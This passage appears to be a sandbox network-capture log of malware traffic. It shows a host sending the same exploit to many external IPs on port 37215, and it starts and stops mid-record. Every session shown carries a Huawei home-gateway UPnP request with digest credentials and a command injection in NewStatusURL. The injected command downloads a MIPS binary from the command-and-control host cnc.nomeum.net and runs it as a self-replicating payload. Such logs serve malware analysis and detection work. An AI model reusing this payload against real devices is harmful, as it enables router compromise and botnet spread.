xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	60186	156.15.115.61	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.371536016 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	56142	156.144.221.185	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.374737978 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	55122	156.211.13.119	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.376085997 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	57826	41.81.245.124	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.388787985 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	49976	197.71.89.68	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.420768023 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	51834	156.222.230.128	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.421869040 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	52094	41.55.5.219	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.423882008 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	42224	156.152.77.121	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.452928066 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	52212	197.153.204.158	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.457043886 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	46284	197.169.47.72	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:51.547945976 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	39522	156.93.186.164	37215

Timestamp	Bytes transferred	Direction	Data
